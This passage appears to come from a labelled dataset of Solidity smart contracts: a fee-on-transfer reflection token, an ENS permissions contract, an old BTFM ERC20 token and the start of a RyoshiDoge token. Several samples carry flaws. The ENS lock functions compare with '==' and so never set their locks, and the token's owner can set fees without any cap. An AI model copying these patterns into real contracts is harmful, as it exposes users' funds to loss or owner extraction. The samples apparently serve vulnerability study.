function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function _setdevWallet(address payable devWalletAddress) external onlyOwner() {
_devWalletAddress = devWalletAddress;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 tokenBalance = contractTokenBalance;
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(tokenBalance); // <- breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
sendETHTodev(newBalance);
// add liquidity to uniswap
emit SwapAndLiquify(tokenBalance, newBalance);
}
function sendETHTodev(uint256 amount) private {
_devWalletAddress.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
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|
contract Registry {
function owner(bytes32 node) public view returns (address) {}
}
contract Registrar {
modifier onlyOwner(bytes32 _hash) { _; }
function transfer(bytes32 _hash, address newOwner) onlyOwner(_hash) {}
}
contract PublicResolver {
modifier only_owner(bytes32 node) { _; }
function setAddr(bytes32 node, address addr) only_owner(node) {}
function setContent(bytes32 node, bytes32 hash) only_owner(node) {}
function setName(bytes32 node, string name) only_owner(node) {}
function setABI(bytes32 node, uint256 contentType, bytes data) only_owner(node) {}
function setPubkey(bytes32 node, bytes32 x, bytes32 y) only_owner(node) {}
function setText(bytes32 node, string key, string value) only_owner(node) {}
}
contract ENS_Permissions {
Registry registry = Registry(0x314159265dD8dbb310642f98f50C066173C1259b);
Registrar registrar = Registrar(0x6090A6e47849629b7245Dfa1Ca21D94cd15878Ef);
PublicResolver publicResolver = PublicResolver(0x5FfC014343cd971B7eb70732021E26C35B744cc4);
address owner;
bytes32 labelhash;
bytes32 namehash;
constructor(address _owner) {
owner = _owner;
}
modifier only_owner {
require(owner == msg.sender);
_;
}
struct Permissions {
uint ownerMutability;
uint addressMutability;
mapping(string => uint) textKeyMutability;
}
Permissions permissions;
function setOwner(address _newOwner) only_owner {
owner = _newOwner;
}
function activatePermissionsBot(bytes32 _namehash, bytes32 _labelhash) only_owner {
require(registry.owner(_namehash) == address(this));
require(labelhash == 0 && namehash == 0);
labelhash = _labelhash;
namehash = _namehash;
}
function lockOwnership(uint _date) only_owner {
require(permissions.ownerMutability < block.timestamp);
require(_date > block.timestamp);
permissions.ownerMutability == _date;
}
function lockAddress(uint _date) only_owner {
require(permissions.ownerMutability > _date);
require(permissions.addressMutability < block.timestamp);
require(_date > block.timestamp);
permissions.addressMutability == _date;
}
function lockTextKey(string _key, uint _date) only_owner {
require(permissions.ownerMutability > _date);
require(permissions.textKeyMutability[_key] < block.timestamp);
require(_date > block.timestamp);
permissions.textKeyMutability[_key] == _date;
}
// Transferring ownership from this contract also destroys the contract
function transfer(address _newOwner) only_owner {
require(permissions.ownerMutability < block.timestamp);
registrar.transfer(labelhash, _newOwner);
selfdestruct(msg.sender);
}
function setAddr(address _addr) only_owner {
require(permissions.addressMutability < block.timestamp);
publicResolver.setAddr(namehash, _addr);
}
function setText(string _key, string _value) only_owner {
require(permissions.textKeyMutability[_key] < block.timestamp);
publicResolver.setText(namehash, _key, _value);
}
}
contract Factory {
function createPermissionsBot(address _owner) returns (address) {
ENS_Permissions permissionsBot = new ENS_Permissions(_owner);
return permissionsBot;
}
} | True | [
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|
pragma solidity ^0.4.18;
contract ERC20Interface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BTFM is ERC20Interface {
uint256 public constant decimals = 5;
string public constant symbol = "BTFM";
string public constant name = "BiTing";
uint256 public _totalSupply = 10 ** 16;
// Owner of this contract
address public owner;
// Balances BTFM for each account
mapping(address => uint256) private balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) private allowed;
// List of approved investors
mapping(address => bool) private approvedInvestorList;
// deposit
mapping(address => uint256) private deposit;
// totalTokenSold
uint256 public totalTokenSold = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
/// @dev Constructor
function BTFM()
public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
/// @dev Gets totalSupply
/// @return Total supply
function totalSupply()
public
constant
returns (uint256) {
return _totalSupply;
}
/// @dev Gets account's balance
/// @param _addr Address of the account
/// @return Account balance
function balanceOf(address _addr)
public
constant
returns (uint256) {
return balances[_addr];
}
/// @dev check address is approved investor
/// @param _addr address
function isApprovedInvestor(address _addr)
public
constant
returns (bool) {
return approvedInvestorList[_addr];
}
/// @dev get ETH deposit
/// @param _addr address get deposit
/// @return amount deposit of an buyer
function getDeposit(address _addr)
public
constant
returns(uint256){
return deposit[_addr];
}
/// @dev Transfers the balance from msg.sender to an account
/// @param _to Recipient address
/// @param _amount Transfered amount in unit
/// @return Transfer status
function transfer(address _to, uint256 _amount)
public
returns (bool) {
// if sender's balance has enough unit and amount >= 0,
// and the sum is not overflow,
// then do transfer
if ( (balances[msg.sender] >= _amount) &&
(_amount >= 0) &&
(balances[_to] + _amount > balances[_to]) ) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
returns (bool success) {
if (balances[_from] >= _amount && _amount > 0 && allowed[_from][msg.sender] >= _amount) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount)
public
returns (bool success) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
// get allowance
function allowance(address _owner, address _spender)
public
constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () public payable{
revert();
}
} | True | [
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|
// SPDX-License-Identifier: Unlicensed
//Marcus created Doge.
//Ryoshi created Shib.
//We created RyoshiDoge.
//Website: http://www.ryoshidoge.com/
//Telegram : https://t.me/ryoshidoge
//Twitter: https://twitter.com/RyoshiDoge
//medium: https://medium.com/@RyoshiDoge
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
